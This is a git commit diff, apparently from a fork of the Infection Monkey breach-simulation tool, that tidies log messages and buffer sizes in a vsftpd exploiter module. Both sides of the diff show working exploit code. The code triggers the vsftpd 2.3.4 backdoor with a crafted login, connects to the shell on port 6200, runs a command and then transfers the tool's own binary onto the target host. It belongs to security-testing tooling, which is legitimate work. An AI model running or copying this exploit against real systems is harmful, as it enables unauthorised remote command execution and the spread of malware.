forked from p34709852/monkey
Update vsftpd.py
Removed (+,! ) used for debugging. Changed the recv size from 1024 to 128
This commit is contained in:
parent
53f12f4b67
commit
01cc702906
|
@ -31,31 +31,31 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
try:
|
try:
|
||||||
LOG.info('[*] Attempting to trigger backdoor...')
|
LOG.info('Attempting to trigger backdoor...')
|
||||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
ftp_socket.connect((self.host.ip_addr, FTP_PORT))
|
ftp_socket.connect((self.host.ip_addr, FTP_PORT))
|
||||||
ftp_socket.recv(1024).decode('utf-8')
|
ftp_socket.recv(128).decode('utf-8')
|
||||||
# Attempt to login to trigger backdoor
|
# Attempt to login to trigger backdoor
|
||||||
ftp_socket.send(USERNAME)
|
ftp_socket.send(USERNAME)
|
||||||
ftp_socket.recv(1024).decode('utf-8')
|
ftp_socket.recv(128).decode('utf-8')
|
||||||
ftp_socket.send(PASSWORD)
|
ftp_socket.send(PASSWORD)
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
ftp_socket.close()
|
ftp_socket.close()
|
||||||
LOG.info('[+] Triggered backdoor')
|
LOG.info('Triggered backdoor')
|
||||||
|
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
LOG.error('[!] Failed to trigger backdoor on %s' , self.host.ip_addr)
|
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
LOG.info('[*] Attempting to connect to backdoor...')
|
LOG.info('Attempting to connect to backdoor...')
|
||||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
backdoor_socket.connect((self.host.ip_addr, 6200))
|
backdoor_socket.connect((self.host.ip_addr, 6200))
|
||||||
LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr)
|
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
|
||||||
|
|
||||||
command = str.encode("uname -m" + '\n')
|
command = str.encode("uname -m" + '\n')
|
||||||
backdoor_socket.send(command)
|
backdoor_socket.send(command)
|
||||||
response = backdoor_socket.recv(1024).decode('utf-8')
|
response = backdoor_socket.recv(128).decode('utf-8')
|
||||||
LOG.info('[+] Response for uname -m: %s', response)
|
LOG.info('Response for uname -m: %s', response)
|
||||||
if '' != response.lower().strip():
|
if '' != response.lower().strip():
|
||||||
#command execution is successful
|
#command execution is successful
|
||||||
self.host.os['machine'] = response.lower().strip()
|
self.host.os['machine'] = response.lower().strip()
|
||||||
|
@ -72,7 +72,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr)
|
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
|
||||||
|
|
||||||
#copy the monkey into the machine
|
#copy the monkey into the machine
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||||
|
@ -113,7 +113,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
self._exploit_info['Vulnerability'] = {"Success":"True"}
|
self._exploit_info['Vulnerability'] = {"Success":"True"}
|
||||||
|
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
LOG.error('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr)
|
LOG.error('Failed to connect to backdoor on %s:6200', self.host.ip_addr)
|
||||||
LOG.error('Error Connecting to backdoor. Error: %s' % e)
|
LOG.error('Error Connecting to backdoor. Error: %s' % e)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue